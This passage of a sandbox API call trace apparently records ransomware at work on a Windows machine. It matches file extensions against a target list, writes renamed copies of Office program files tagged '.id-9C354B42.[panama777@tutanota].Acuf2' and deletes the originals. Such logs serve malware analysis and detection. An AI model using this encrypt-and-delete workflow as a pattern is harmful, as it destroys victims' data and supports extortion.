	[0269.469] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0269.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59
	[0269.469] lstrlenW (lpString=".1cd") returned 4
	[0269.469] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0269.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59
	[0269.469] lstrlenW (lpString=".jpg") returned 4
	[0269.469] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0269.470] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.470] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0269.471] GetLastError () returned 0x0
	[0269.471] ReadFile (in: hFile=0x218, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x277, lpOverlapped=0x0) returned 1
	[0269.473] WriteFile (in: hFile=0x36c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x280, lpOverlapped=0x0) returned 1
	[0269.474] ReadFile (in: hFile=0x218, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.474] WriteFile (in: hFile=0x36c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0269.474] SetEndOfFile (hFile=0x36c) returned 1
	[0269.474] CloseHandle (hObject=0x36c) returned 1
	[0269.474] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.474] SetEndOfFile (hFile=0x218) returned 1
	[0269.659] CloseHandle (hObject=0x218) returned 1
	[0269.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc")) returned 1
	[0269.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63
	[0269.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63
	[0269.772] lstrlenW (lpString=".doc") returned 4
	[0269.772] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0269.772] lstrlenW (lpString=".docx") returned 5
	[0269.772] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0269.772] lstrlenW (lpString=".pdf") returned 4
	[0269.772] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0269.772] lstrlenW (lpString=".xls") returned 4
	[0269.772] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0269.772] lstrlenW (lpString=".xlsx") returned 5
	[0269.772] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0269.772] lstrlenW (lpString=".ppt") returned 4
	[0269.772] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0269.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63
	[0269.772] lstrlenW (lpString=".zip") returned 4
	[0269.772] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0269.772] lstrlenW (lpString=".rar") returned 4
	[0269.772] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0269.772] lstrlenW (lpString=".bz2") returned 4
	[0269.772] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0269.772] lstrlenW (lpString=".7z") returned 3
	[0269.772] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0269.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63
	[0269.772] lstrlenW (lpString=".dbf") returned 4
	[0269.772] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0269.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63
	[0269.772] lstrlenW (lpString=".1cd") returned 4
	[0269.772] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0269.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63
	[0269.773] lstrlenW (lpString=".jpg") returned 4
	[0269.773] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0269.773] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=614784) returned 1
	[0269.773] CloseHandle (hObject=0x35c) returned 1
	[0269.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll")) returned 0x20
	[0269.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0269.773] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.773] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0269.774] GetLastError () returned 0x0
	[0269.774] ReadFile (in: hFile=0x35c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x96180, lpOverlapped=0x0) returned 1
	[0269.840] WriteFile (in: hFile=0x360, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x96190, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x96190, lpOverlapped=0x0) returned 1
	[0269.859] ReadFile (in: hFile=0x35c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.859] WriteFile (in: hFile=0x360, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0269.859] SetEndOfFile (hFile=0x360) returned 1
	[0269.859] CloseHandle (hObject=0x360) returned 1
	[0269.859] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.859] SetEndOfFile (hFile=0x35c) returned 1
	[0270.888] CloseHandle (hObject=0x35c) returned 1
	[0270.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0270.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll")) returned 1
	[0270.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67
	[0270.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67
	[0270.893] lstrlenW (lpString=".doc") returned 4
	[0270.893] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0270.893] lstrlenW (lpString=".docx") returned 5
	[0270.893] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0270.893] lstrlenW (lpString=".pdf") returned 4
	[0270.893] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0270.893] lstrlenW (lpString=".xls") returned 4
	[0270.893] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0270.893] lstrlenW (lpString=".xlsx") returned 5
	[0270.893] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0270.893] lstrlenW (lpString=".ppt") returned 4
	[0270.893] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0270.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67
	[0270.893] lstrlenW (lpString=".zip") returned 4
	[0270.893] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0270.893] lstrlenW (lpString=".rar") returned 4
	[0270.893] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0270.893] lstrlenW (lpString=".bz2") returned 4
	[0270.893] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0270.893] lstrlenW (lpString=".7z") returned 3
	[0270.893] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0270.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67
	[0270.893] lstrlenW (lpString=".dbf") returned 4
	[0270.893] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0270.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67
	[0270.893] lstrlenW (lpString=".1cd") returned 4
	[0270.893] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0270.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67
	[0270.894] lstrlenW (lpString=".jpg") returned 4
	[0270.894] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0271.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outlvba.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0271.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61
	[0271.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61
	[0271.881] lstrlenW (lpString=".doc") returned 4
	[0271.881] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0271.881] lstrlenW (lpString=".docx") returned 5
	[0271.881] lstrcmpiW (lpString1=".docx", lpString2="A.DLL") returned -1
	[0271.881] lstrlenW (lpString=".pdf") returned 4
	[0271.881] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0271.881] lstrlenW (lpString=".xls") returned 4
	[0271.881] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0271.881] lstrlenW (lpString=".xlsx") returned 5
	[0271.881] lstrcmpiW (lpString1=".xlsx", lpString2="A.DLL") returned -1
	[0271.882] lstrlenW (lpString=".ppt") returned 4
	[0271.882] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0271.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61
	[0271.882] lstrlenW (lpString=".zip") returned 4
	[0271.882] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0271.882] lstrlenW (lpString=".rar") returned 4
	[0271.882] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0271.882] lstrlenW (lpString=".bz2") returned 4
	[0271.882] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0271.882] lstrlenW (lpString=".7z") returned 3
	[0271.882] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0271.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61
	[0271.882] lstrlenW (lpString=".dbf") returned 4
	[0271.882] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0271.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61
	[0271.882] lstrlenW (lpString=".1cd") returned 4
	[0271.882] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0271.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTLVBA.DLL") returned 61
	[0271.882] lstrlenW (lpString=".jpg") returned 4
	[0271.882] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0271.883] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.883] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0271.883] GetLastError () returned 0x0
	[0271.883] ReadFile (in: hFile=0x36c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x8d51, lpOverlapped=0x0) returned 1
	[0271.887] WriteFile (in: hFile=0x35c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x8d60, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x8d60, lpOverlapped=0x0) returned 1
	[0271.888] ReadFile (in: hFile=0x36c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.888] WriteFile (in: hFile=0x35c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xee, lpOverlapped=0x0) returned 1
	[0271.889] SetEndOfFile (hFile=0x35c) returned 1
	[0271.889] CloseHandle (hObject=0x35c) returned 1
	[0271.889] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.889] SetEndOfFile (hFile=0x36c) returned 1
	[0271.891] CloseHandle (hObject=0x36c) returned 1
	[0271.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man")) returned 1
	[0271.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56
	[0271.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56
	[0271.892] lstrlenW (lpString=".doc") returned 4
	[0271.892] lstrcmpiW (lpString1=".doc", lpString2=".man") returned -1
	[0271.892] lstrlenW (lpString=".docx") returned 5
	[0271.892] lstrcmpiW (lpString1=".docx", lpString2="s.man") returned -1
	[0271.892] lstrlenW (lpString=".pdf") returned 4
	[0271.892] lstrcmpiW (lpString1=".pdf", lpString2=".man") returned 1
	[0271.892] lstrlenW (lpString=".xls") returned 4
	[0271.892] lstrcmpiW (lpString1=".xls", lpString2=".man") returned 1
	[0271.892] lstrlenW (lpString=".xlsx") returned 5
	[0271.892] lstrcmpiW (lpString1=".xlsx", lpString2="s.man") returned -1
	[0271.892] lstrlenW (lpString=".ppt") returned 4
	[0271.892] lstrcmpiW (lpString1=".ppt", lpString2=".man") returned 1
	[0271.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56
	[0271.892] lstrlenW (lpString=".zip") returned 4
	[0271.892] lstrcmpiW (lpString1=".zip", lpString2=".man") returned 1
	[0271.892] lstrlenW (lpString=".rar") returned 4
	[0271.892] lstrcmpiW (lpString1=".rar", lpString2=".man") returned 1
	[0271.892] lstrlenW (lpString=".bz2") returned 4
	[0271.892] lstrcmpiW (lpString1=".bz2", lpString2=".man") returned -1
	[0271.892] lstrlenW (lpString=".7z") returned 3
	[0271.892] lstrcmpiW (lpString1=".7z", lpString2="man") returned -1
	[0271.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56
	[0271.893] lstrlenW (lpString=".dbf") returned 4
	[0271.893] lstrcmpiW (lpString1=".dbf", lpString2=".man") returned -1
	[0271.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56
	[0271.893] lstrlenW (lpString=".1cd") returned 4
	[0271.893] lstrcmpiW (lpString1=".1cd", lpString2=".man") returned -1
	[0271.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56
	[0271.893] lstrlenW (lpString=".jpg") returned 4
	[0271.893] lstrcmpiW (lpString1=".jpg", lpString2=".man") returned -1
	[0271.904] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=70528) returned 1
	[0271.904] CloseHandle (hObject=0x36c) returned 1
	[0271.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll")) returned 0x20
	[0271.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0271.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56
	[0271.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56
	[0271.905] lstrlenW (lpString=".doc") returned 4
	[0271.905] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0271.905] lstrlenW (lpString=".docx") returned 5
	[0271.905] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1
	[0271.905] lstrlenW (lpString=".pdf") returned 4
	[0271.905] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0271.905] lstrlenW (lpString=".xls") returned 4
	[0271.905] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0271.905] lstrlenW (lpString=".xlsx") returned 5
	[0271.905] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1
	[0271.905] lstrlenW (lpString=".ppt") returned 4
	[0271.905] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0271.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56
	[0271.905] lstrlenW (lpString=".zip") returned 4
	[0271.905] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0271.905] lstrlenW (lpString=".rar") returned 4
	[0271.905] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0271.905] lstrlenW (lpString=".bz2") returned 4
	[0271.905] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0271.905] lstrlenW (lpString=".7z") returned 3
	[0271.905] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0271.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56
	[0271.905] lstrlenW (lpString=".dbf") returned 4
	[0271.905] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0271.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56
	[0271.905] lstrlenW (lpString=".1cd") returned 4
	[0271.906] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0271.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56
	[0271.906] lstrlenW (lpString=".jpg") returned 4
	[0271.906] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0271.911] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.912] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0272.471] GetLastError () returned 0x0
	[0272.471] ReadFile (in: hFile=0x36c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x7df6, lpOverlapped=0x0) returned 1
	[0272.499] WriteFile (in: hFile=0x274, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x7e00, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x7e00, lpOverlapped=0x0) returned 1
	[0272.500] ReadFile (in: hFile=0x36c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.500] WriteFile (in: hFile=0x274, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0272.500] SetEndOfFile (hFile=0x274) returned 1
	[0272.500] CloseHandle (hObject=0x274) returned 1
	[0272.500] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.500] SetEndOfFile (hFile=0x36c) returned 1
	[0272.503] CloseHandle (hObject=0x36c) returned 1
	[0272.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr")) returned 1
	[0272.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61
	[0272.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61
	[0272.504] lstrlenW (lpString=".doc") returned 4
	[0272.505] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1
	[0272.505] lstrlenW (lpString=".docx") returned 5
	[0272.505] lstrcmpiW (lpString1=".docx", lpString2="1.BDR") returned -1
	[0272.505] lstrlenW (lpString=".pdf") returned 4
	[0272.505] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1
	[0272.505] lstrlenW (lpString=".xls") returned 4
	[0272.505] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1
	[0272.505] lstrlenW (lpString=".xlsx") returned 5
	[0272.505] lstrcmpiW (lpString1=".xlsx", lpString2="1.BDR") returned -1
	[0272.505] lstrlenW (lpString=".ppt") returned 4
	[0272.505] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1
	[0272.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61
	[0272.505] lstrlenW (lpString=".zip") returned 4
	[0272.505] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1
	[0272.505] lstrlenW (lpString=".rar") returned 4
	[0272.505] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1
	[0272.505] lstrlenW (lpString=".bz2") returned 4
	[0272.505] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1
	[0272.505] lstrlenW (lpString=".7z") returned 3
	[0272.505] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1
	[0272.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61
	[0272.505] lstrlenW (lpString=".dbf") returned 4
	[0272.505] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1
	[0272.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61
	[0272.505] lstrlenW (lpString=".1cd") returned 4
	[0272.505] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1
